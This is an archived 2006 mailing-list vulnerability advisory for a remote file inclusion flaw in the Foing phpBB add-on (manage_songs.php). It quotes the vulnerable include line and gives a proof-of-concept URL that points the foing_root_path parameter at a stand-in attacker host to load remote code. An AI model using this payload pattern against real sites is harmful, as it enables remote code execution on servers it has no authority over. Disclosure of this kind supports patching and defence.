OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Foing (manage_songs.php) Remote File Inclusion[phpBB]

darkfiref4kelive.zzn.com
Date: Mon Jun 12 2006 - 07:43:08 CDT

# Foing (manage_songs.php) Remote File Inclusion[phpBB]
#
# Contact : email: darkfiref4kelive.zzn.com & msn: darkfiredarkfire-br.com
# Risk : High
# Class : Remote
# Script : Foing
# Version : 0.7.0 e previous

---------------------------------------------------------------------

Vulnerable code :

include($foing_root_path . 'includes/common.php');

---------------------------------------------------------------------

http://www.site.com/[foing_path]/manage_songs.php?foing_root_path=http://attacker

by Darkfire and IR4DEX GROUP
Greetz: Smurf_RedHat :: V0lks